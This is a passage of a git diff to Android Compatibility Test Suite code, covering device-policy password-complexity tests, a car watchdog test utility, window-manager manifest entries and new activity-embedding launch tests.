assertPasswordSucceeds(COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_7);
assertPasswordFails(COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_4);
@@ -454,8 +492,13 @@
// The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumUpperCase(
- DPC_COMPONENT_NAME, 1);
+ setComplexPasswordRestrictions(/* minLength */ 0,
+ /* minSymbols */ 0,
+ /* minNonLetter */ 0,
+ /* minNumeric */ 0,
+ /* minLetters */ 0,
+ /* minLowerCase */ 0,
+ /* minUpperCase */ 1);
assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_WITH_UPPERCASE_LENGTH_4);
assertPasswordFails(ALPHANUMERIC_PASSWORD_LENGTH_4);
@@ -491,8 +534,13 @@
// The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLowerCase(
- DPC_COMPONENT_NAME, 1);
+ setComplexPasswordRestrictions(/* minLength */ 0,
+ /* minSymbols */ 0,
+ /* minNonLetter */ 0,
+ /* minNumeric */ 0,
+ /* minLetters */ 0,
+ /* minLowerCase */ 1,
+ /* minUpperCase */ 0);
assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
assertPasswordFails(ALPHABETIC_PASSWORD_ALL_UPPERCASE_LENGTH_4);
@@ -528,8 +576,13 @@
// The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLetters(
- DPC_COMPONENT_NAME, 1);
+ setComplexPasswordRestrictions(/* minLength */ 0,
+ /* minSymbols */ 0,
+ /* minNonLetter */ 0,
+ /* minNumeric */ 0,
+ /* minLetters */ 1,
+ /* minLowerCase */ 0,
+ /* minUpperCase */ 0);
assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
assertPasswordFails(NUMERIC_PASSWORD_LENGTH_4);
@@ -565,8 +618,13 @@
// The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumNumeric(
- DPC_COMPONENT_NAME, 1);
+ setComplexPasswordRestrictions(/* minLength */ 0,
+ /* minSymbols */ 0,
+ /* minNonLetter */ 0,
+ /* minNumeric */ 1,
+ /* minLetters */ 0,
+ /* minLowerCase */ 0,
+ /* minUpperCase */ 0);
assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
assertPasswordFails(ALPHABETIC_PASSWORD_LENGTH_4);
@@ -602,8 +660,13 @@
// The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumSymbols(
- DPC_COMPONENT_NAME, 1);
+ setComplexPasswordRestrictions(/* minLength */ 0,
+ /* minSymbols */ 1,
+ /* minNonLetter */ 0,
+ /* minNumeric */ 0,
+ /* minLetters */ 0,
+ /* minLowerCase */ 0,
+ /* minUpperCase */ 0);
assertPasswordSucceeds(COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_4);
assertPasswordFails(ALPHANUMERIC_PASSWORD_LENGTH_4);
@@ -640,8 +703,13 @@
// The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumNonLetter(
- DPC_COMPONENT_NAME, 1);
+ setComplexPasswordRestrictions(/* minLength */ 0,
+ /* minSymbols */ 0,
+ /* minNonLetter */ 1,
+ /* minNumeric */ 0,
+ /* minLetters */ 0,
+ /* minLowerCase */ 0,
+ /* minUpperCase */ 0);
assertPasswordSucceeds(COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_4);
assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
@@ -842,13 +910,20 @@
DPC_COMPONENT_NAME, PASSWORD_QUALITY_UNSPECIFIED);
sDeviceState.dpc().devicePolicyManager().setRequiredPasswordComplexity(
PASSWORD_COMPLEXITY_NONE);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(DPC_COMPONENT_NAME, 0);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumSymbols(DPC_COMPONENT_NAME, 0);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumNonLetter(DPC_COMPONENT_NAME, 0);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumNumeric(DPC_COMPONENT_NAME, 0);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLetters(DPC_COMPONENT_NAME, 0);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLowerCase(DPC_COMPONENT_NAME, 0);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumUpperCase(DPC_COMPONENT_NAME, 0);
+ setComplexPasswordRestrictions(/* minLength */ 0, /* minSymbols */ 0, /* minNonLetter */ 0,
+ /* minNumeric */ 0, /* minLetters */ 0, /* minLowerCase */ 0, /* minUpperCase */ 0);
+ }
+
+ private void setComplexPasswordRestrictions(int minLength, int minSymbols, int minNonLetter,
+ int minNumeric, int minLetters, int minLowerCase, int minUpperCase) {
+ RemoteDevicePolicyManager dpm = sDeviceState.dpc().devicePolicyManager();
+ dpm.setPasswordMinimumLength(DPC_COMPONENT_NAME, minLength);
+ dpm.setPasswordMinimumSymbols(DPC_COMPONENT_NAME, minSymbols);
+ dpm.setPasswordMinimumNonLetter(DPC_COMPONENT_NAME, minNonLetter);
+ dpm.setPasswordMinimumNumeric(DPC_COMPONENT_NAME, minNumeric);
+ dpm.setPasswordMinimumLetters(DPC_COMPONENT_NAME, minLetters);
+ dpm.setPasswordMinimumLowerCase(DPC_COMPONENT_NAME, minLowerCase);
+ dpm.setPasswordMinimumUpperCase(DPC_COMPONENT_NAME, minUpperCase);
}
private void removePasswordAndToken(byte[] token) {
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
index daccee0..c31cc34 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
@@ -51,6 +51,8 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.time.Duration;
+
@RunWith(BedsteadJUnit4.class)
public class ScreenCaptureDisabledTest {
@@ -186,6 +188,7 @@
try (TestAppInstanceReference testApp = sTestApp.install()) {
testApp.activities().any().start();
return Poll.forValue(mUiAutomation::takeScreenshot)
+ .timeout(Duration.ofSeconds(60))
.toBeNull()
.await();
}
diff --git a/tests/filesystem/src/android/filesystem/cts/CarTestUtil.java b/tests/filesystem/src/android/filesystem/cts/CarTestUtil.java
index c2290cb..168d26f 100644
--- a/tests/filesystem/src/android/filesystem/cts/CarTestUtil.java
+++ b/tests/filesystem/src/android/filesystem/cts/CarTestUtil.java
@@ -30,10 +30,13 @@
import java.io.IOException;
final class CarTestUtil {
- //TODO (b/202761235) replace the string with the watchdog service disabling shell command
- private static final String DISABLE_CAR_WATCHDOG_COMMAND = "cmd disable watchdog";
- //TODO (b/202761235) replace the string with the watchdog service enabling shell command
- private static final String ENABLE_CAR_WATCHDOG_COMMAND = "cmd enable watchdog";
+ private static final String ANDROID_FILESYSTEM_CTS_PKG_NAME = "android.filesystem.cts";
+ private static final String SET_CTS_PKG_AS_NOT_KILLABLE_COMMAND =
+ "cmd car_service watchdog-control-package-killable-state false "
+ + ANDROID_FILESYSTEM_CTS_PKG_NAME;
+ private static final String SET_CTS_PKG_AS_KILLABLE_COMMAND =
+ "cmd car_service watchdog-control-package-killable-state true "
+ + ANDROID_FILESYSTEM_CTS_PKG_NAME;
private static final String PERMISSION_USE_CAR_WATCHDOG =
"android.car.permission.USE_CAR_WATCHDOG";
@@ -60,26 +63,23 @@
public void setUp() throws Exception {
if (mIsAutomotive) {
assumeFalse("For automotive, instant app is skipped", mIsInstantApp);
- disableWatchdogService();
+ setCtsPackageAsNotKillable();
}
}
public void tearDown() throws Exception {
if (mIsAutomotive) {
- enableWatchdogService();
+ setCtsPackageAsKillable();
}
}
- protected void disableWatchdogService() throws Exception {
- // TODO (b/202761235) remove the assumption after watchdog disabling is implemented.
- assumeFalse("Enable tests over Auto after watchdog is disabled", mIsAutomotive);
-
- executeShellCommandWithPermission(DISABLE_CAR_WATCHDOG_COMMAND,
+ protected void setCtsPackageAsNotKillable() throws Exception {
+ executeShellCommandWithPermission(SET_CTS_PKG_AS_NOT_KILLABLE_COMMAND,
PERMISSION_USE_CAR_WATCHDOG);
}
- protected void enableWatchdogService() throws Exception {
- executeShellCommandWithPermission(ENABLE_CAR_WATCHDOG_COMMAND,
+ protected void setCtsPackageAsKillable() throws Exception {
+ executeShellCommandWithPermission(SET_CTS_PKG_AS_KILLABLE_COMMAND,
PERMISSION_USE_CAR_WATCHDOG);
}
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index d2bc2d0..b3b6094 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -309,6 +309,8 @@
<activity android:name="android.server.wm.WindowInsetsPolicyTest$ImmersiveFullscreenTestActivity"
android:documentLaunchMode="always"
android:theme="@style/no_animation"/>
+ <activity android:name="android.server.wm.WindowInsetsPolicyTest$NaturalOrientationTestActivity"
+ android:screenOrientation="nosensor"/>
<activity android:name="android.server.wm.LayoutTests$TestActivity"
android:theme="@style/no_animation"/>
<activity android:name="android.server.wm.LocationOnScreenTests$TestActivity"
@@ -455,6 +457,15 @@
android:screenOrientation="portrait"
android:exported="true"/>
+ <activity android:name="android.server.wm.CompatChangeTests$NonResizeableLandscapeActivity"
+ android:resizeableActivity="false"
+ android:screenOrientation="landscape"
+ android:exported="true"/>
+
+ <activity android:name="android.server.wm.CompatChangeTests$NonResizeableNonFixedOrientationActivity"
+ android:resizeableActivity="false"
+ android:exported="true"/>
+
<activity android:name="android.server.wm.CompatChangeTests$NonResizeableAspectRatioActivity"
android:resizeableActivity="false"
android:screenOrientation="portrait"
diff --git a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
index 8f88c2c..3b3909a 100644
--- a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
@@ -30,6 +30,9 @@
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
/>
<activity android:name="android.server.wm.jetpack.utils.TestGetWindowLayoutInfoActivity" />
+ <activity android:name="android.server.wm.jetpack.utils.TestActivityWithId"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
+ />
</application>
<!-- self-instrumenting test package. -->
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
new file mode 100644
index 0000000..b5c1d3f7
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.TAG;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityAndVerifySplit;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNotNull;
+
+import android.app.Activity;
+import android.util.Log;
+import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
+import android.server.wm.jetpack.utils.TestActivityWithId;
+import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
+import android.server.wm.jetpack.utils.TestValueCountConsumer;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.window.extensions.WindowExtensions;
+import androidx.window.extensions.embedding.ActivityEmbeddingComponent;
+import androidx.window.extensions.embedding.SplitInfo;
+import androidx.window.extensions.embedding.SplitPairRule;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * Tests for the {@link androidx.window.extensions} implementation provided on the device (and only
+ * if one is available) for the Activity Embedding functionality. Specifically tests activity
+ * launch scenarios.
+ *
+ * Build/Install/Run:
+ * atest CtsWindowManagerJetpackTestCases:ActivityEmbeddingLaunchTests
+ */
+@RunWith(AndroidJUnit4.class)
+public class ActivityEmbeddingLaunchTests extends WindowManagerJetpackTestBase {
+
+ private ActivityEmbeddingComponent mActivityEmbeddingComponent;
+ private TestValueCountConsumer<List<SplitInfo>> mSplitInfoConsumer;
+
+ @Before
+ public void setUp() {
+ super.setUp();
+ assumeExtensionSupportedDevice();
+ WindowExtensions windowExtensions = getWindowExtensions();
+ assumeNotNull(windowExtensions);
+ mInstrumentation.runOnMainSync(new Runnable() {
+ @Override
+ public void run() {
+ mActivityEmbeddingComponent = windowExtensions.getActivityEmbeddingComponent();
+ }
+ });
+ assumeNotNull(mActivityEmbeddingComponent);
+ mSplitInfoConsumer = new TestValueCountConsumer<>();
+ mActivityEmbeddingComponent.setSplitInfoCallback(mSplitInfoConsumer);
+ }
+
+ /**
+ * Tests launching activities to the side from the primary activity.
+ */
+ @Test
+ public void testPrimaryActivityLaunchToSide() {
+ Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+
+ SplitPairRule splitPairRule = createWildcardSplitPairRule();
+ mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+ // Launch multiple activities to the side from the primary activity and verify that they
+ // all successfully split with the primary activity.
+ final int numActivitiesToLaunch = 4;
+ for (int i = 0; i < numActivitiesToLaunch; i++) {
+ Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+ TestActivityWithId.class, splitPairRule,
+ Integer.toString(i) /* secondActivityId */, mSplitInfoConsumer);
+ }
+ }
+
+ /**
+ * Tests launching activities to the side from the primary activity where the secondary stack
+ * is cleared after each launch.
+ */
+ @Test
+ public void testPrimaryActivityLaunchToSideClearTop() {
+ Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+
+ SplitPairRule splitPairRule = createWildcardSplitPairRule(true /* shouldClearTop */);
+ mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+ Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+ TestActivityWithId.class, splitPairRule,
+ "initialSecondaryActivity" /* secondActivityId */, mSplitInfoConsumer);
+
+ // Launch multiple activities to the side from the primary activity and verify that they
+ // all successfully split with the primary activity and that the previous secondary activity
+ // is finishing.
+ final int numActivitiesToLaunch = 4;
+ Activity prevSecondaryActivity;
+ for (int i = 0; i < numActivitiesToLaunch; i++) {
+ prevSecondaryActivity = secondaryActivity;
+ // Expect the split info consumer to return a value after the 3rd callback because the
+ // 1st callback will return empty split states due to clearing the previous secondary
+ // container, the 2nd callback will return a non-empty primary container with an empty
+ // secondary container because the primary container was just registered, and finally
+ // the 3rd callback will contain the secondary activity in the secondary container.
+ secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+ TestActivityWithId.class, splitPairRule,
+ Integer.toString(i) /* secondActivityId */, mSplitInfoConsumer,
+ 3 /* expectedCallbackCount */);
+ // The previous secondary activity should be finishing because shouldClearTop was set
+ // to true, which clears the secondary container before launching the next secondary
+ // activity.
+ assertTrue(prevSecondaryActivity.isFinishing());
+ }
+
+ // Verify that the last reported split info only contains the final split
+ final List<SplitInfo> lastReportedSplitInfo = mSplitInfoConsumer.getLastReportedValue();
+ assertEquals(1, lastReportedSplitInfo.size());
+ final SplitInfo splitInfo = lastReportedSplitInfo.get(0);
+ assertEquals(1, splitInfo.getPrimaryActivityStack().getActivities().size());
+ assertEquals(1, splitInfo.getSecondaryActivityStack().getActivities().size());
+ }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
index b99ce19..d8c804f 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
@@ -58,7 +58,7 @@
import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
import android.server.wm.jetpack.utils.TestActivity;
import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
-import android.server.wm.jetpack.utils.TestWindowLayoutInfoConsumer;
+import android.server.wm.jetpack.utils.TestValueCountConsumer;
import android.platform.test.annotations.Presubmit;
import androidx.annotation.NonNull;
@@ -113,7 +113,8 @@
@Test
public void testWindowLayoutComponent_WindowLayoutInfoListener() {
- TestWindowLayoutInfoConsumer windowLayoutInfoConsumer = new TestWindowLayoutInfoConsumer();
+ TestValueCountConsumer<WindowLayoutInfo> windowLayoutInfoConsumer =
+ new TestValueCountConsumer<>();
// Test that adding and removing callback succeeds
mWindowLayoutComponent.addWindowLayoutInfoListener(mActivity, windowLayoutInfoConsumer);
mWindowLayoutComponent.removeWindowLayoutInfoListener(windowLayoutInfoConsumer);
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
new file mode 100644
index 0000000..fbb2a31
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
@@ -0,0 +1,236 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityFromActivity;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Application;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.os.Looper;
+import android.util.LayoutDirection;
+import android.util.Log;
+import android.util.Pair;
+import android.view.WindowMetrics;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.window.extensions.WindowExtensions;
+import androidx.window.extensions.embedding.ActivityEmbeddingComponent;
+import androidx.window.extensions.embedding.EmbeddingRule;
+import androidx.window.extensions.embedding.SplitInfo;
+import androidx.window.extensions.embedding.SplitPairRule;
+import androidx.window.extensions.embedding.SplitRule;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Predicate;
+
+/**
+ * Utility class for activity embedding tests.
+ */
+public class ActivityEmbeddingUtil {
+
+ public static final String TAG = "ActivityEmbeddingTests";
+ public static final long WAIT_FOR_RESUMED_TIMEOUT_MS = 3000;
+ public static final float DEFAULT_SPLIT_RATIO = 0.5f;
+
+ @NonNull
+ public static SplitPairRule createWildcardSplitPairRule(boolean shouldClearTop) {
+ // Any activity be split with any activity
+ final Predicate<Pair<Activity, Activity>> activityPairPredicate =
+ activityActivityPair -> true;
+ // Any activity can launch any split intent
+ final Predicate<Pair<Activity, Intent>> activityIntentPredicate =
+ activityIntentPair -> true;
+ // Allow any parent bounds to show the split containers side by side
+ Predicate<WindowMetrics> parentWindowMetricsPredicate = windowMetrics -> true;
+ // Build the split pair rule
+ return new SplitPairRule.Builder(activityPairPredicate,
+ activityIntentPredicate, parentWindowMetricsPredicate).setSplitRatio(
+ DEFAULT_SPLIT_RATIO).setShouldClearTop(shouldClearTop).build();
+ }
+
+ @NonNull
+ public static SplitPairRule createWildcardSplitPairRule() {
+ return createWildcardSplitPairRule(false /* shouldClearTop */);
+ }
+
+ public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
+ @NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
+ @NonNull String secondActivityId,
+ @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer,
+ int expectedCallbackCount) {
+ // Set the expected callback count
+ splitInfoConsumer.setCount(expectedCallbackCount);
+
+ // Start second activity
+ startActivityFromActivity(primaryActivity, secondActivityClass, secondActivityId);
+
+ // Get updated split info
+ List<SplitInfo> activeSplitStates = null;
+ try {
+ activeSplitStates = splitInfoConsumer.waitAndGet();
+ } catch (InterruptedException e) {
+ fail("startActivityAndVerifySplit() InterruptedException");
+ }
+
+ // Get second activity from split info
+ Activity secondActivity = getSecondActivity(activeSplitStates, primaryActivity,
+ secondActivityId);
+ assertNotNull(secondActivity);
+
+ assertValidSplit(primaryActivity, secondActivity, splitPairRule);
+
+ // Return second activity for easy access in calling method
+ return secondActivity;
+ }
+
+ public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
+ @NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
+ @NonNull String secondActivityId,
+ @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) {
+ return startActivityAndVerifySplit(primaryActivity, secondActivityClass, splitPairRule,
+ secondActivityId, splitInfoConsumer, 1 /* expectedCallbackCount */);
+ }
+
+ @Nullable
+ public static Activity getSecondActivity(@NonNull List<SplitInfo> activeSplitStates,
+ @NonNull Activity primaryActivity, @NonNull String secondaryClassId) {
+ Log.d(TAG, "Active split states: " + activeSplitStates);
+ for (SplitInfo splitInfo : activeSplitStates) {
+ // Find the split info whose top activity in the primary container is the primary
+ // activity we are looking for
+ Activity primaryContainerTopActivity = getPrimaryStackTopActivity(splitInfo);
+ if (primaryActivity.equals(primaryContainerTopActivity)) {
+ Activity secondActivity = getSecondaryStackTopActivity(splitInfo);
+ // See if this activity is the secondary activity we expect
+ if (secondActivity != null && secondActivity instanceof TestActivityWithId
+ && secondaryClassId.equals(((TestActivityWithId) secondActivity).getId())) {
+ return secondActivity;
+ }
+ }
+ }
+ Log.d(TAG, "Second activity was not found: " + secondaryClassId);
+ return null;
+ }
+
+ public static void assertValidSplit(@NonNull Activity primaryActivity,
+ @NonNull Activity secondaryActivity, SplitRule splitRule) {
+ waitForResumed(Arrays.asList(primaryActivity, secondaryActivity));
+
+ // Compute the layout direction
+ int layoutDir = splitRule.getLayoutDirection();
+ if (layoutDir == LayoutDirection.LOCALE) {
+ layoutDir = primaryActivity.getResources().getConfiguration().getLayoutDirection();
+ }
+
+ final float splitRatio = splitRule.getSplitRatio();
+ final Rect parentBounds = getMaximumActivityBounds(primaryActivity);
+ final Rect expectedPrimaryActivityBounds = new Rect();
+ final Rect expectedSecondaryActivityBounds = new Rect();
+ getExpectedPrimaryAndSecondaryBounds(layoutDir, splitRatio, parentBounds,
+ expectedPrimaryActivityBounds, expectedSecondaryActivityBounds);
+ assertEquals(expectedPrimaryActivityBounds, getActivityBounds(primaryActivity));
+ assertEquals(expectedSecondaryActivityBounds, getActivityBounds(secondaryActivity));
+ }
+
+ public static void verifyFillsTask(Activity activity) {
+ waitForResumed(Arrays.asList(activity));
+ assertEquals(getMaximumActivityBounds(activity), getActivityBounds(activity));
+ }
+
+ public static boolean waitForResumed(
+ @NonNull List<Activity> activityList) {
+ final long startTime = System.currentTimeMillis();
+ while (System.currentTimeMillis() - startTime < WAIT_FOR_RESUMED_TIMEOUT_MS) {
+ boolean allActivitiesResumed = true;
+ for (Activity activity : activityList) {
+ allActivitiesResumed &= WindowManagerJetpackTestBase.isActivityResumed(activity);
+ if (!allActivitiesResumed) {
+ break;
+ }
+ }
+ if (allActivitiesResumed) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ @Nullable
+ public static Activity getPrimaryStackTopActivity(SplitInfo splitInfo) {
+ List<Activity> primaryActivityStack = splitInfo.getPrimaryActivityStack().getActivities();
+ if (primaryActivityStack.isEmpty()) {
+ return null;
+ }
+ return primaryActivityStack.get(primaryActivityStack.size() - 1);
+ }
+
+ @Nullable
+ public static Activity getSecondaryStackTopActivity(SplitInfo splitInfo) {
+ List<Activity> secondaryActivityStack = splitInfo.getSecondaryActivityStack()
+ .getActivities();
+ if (secondaryActivityStack.isEmpty()) {
+ return null;
+ }
+ return secondaryActivityStack.get(secondaryActivityStack.size() - 1);
+ }
+
+ public static void getExpectedPrimaryAndSecondaryBounds(int layoutDir, float splitRatio,
+ @NonNull Rect inParentBounds, @NonNull Rect outPrimaryActivityBounds,
+ @NonNull Rect outSecondaryActivityBounds) {
+ final int expectedPrimaryWidth = (int) (inParentBounds.width() * splitRatio);
+ final int expectedSecondaryWidth = (int) (inParentBounds.width() * (1 - splitRatio));
+
+ outPrimaryActivityBounds.set(inParentBounds);
+ outSecondaryActivityBounds.set(inParentBounds);
+ if (layoutDir == LayoutDirection.LTR) {
+ /*******************|*********************
+ * primary activity | secondary activity *
+ *******************|*********************/
+ outPrimaryActivityBounds.right = inParentBounds.left + expectedPrimaryWidth;
+ outSecondaryActivityBounds.left = inParentBounds.right - expectedSecondaryWidth;
+ } else {
+ /*********************|*******************
+ * secondary activity | primary activity *
+ *********************|*******************/
+ outPrimaryActivityBounds.left = inParentBounds.right - expectedPrimaryWidth;
+ outSecondaryActivityBounds.right = inParentBounds.left + expectedSecondaryWidth;
+ }
+ }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
index 65dcb04..a3e682b 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
@@ -114,7 +114,8 @@
if (windowLayoutComponent == null) {
return null;
}
- TestWindowLayoutInfoConsumer windowLayoutInfoConsumer = new TestWindowLayoutInfoConsumer();
+ TestValueCountConsumer<WindowLayoutInfo> windowLayoutInfoConsumer =
+ new TestValueCountConsumer<>();
windowLayoutComponent.addWindowLayoutInfoListener(activity, windowLayoutInfoConsumer);
return windowLayoutInfoConsumer.waitAndGet();
}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java
new file mode 100644
index 0000000..3f57b05
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
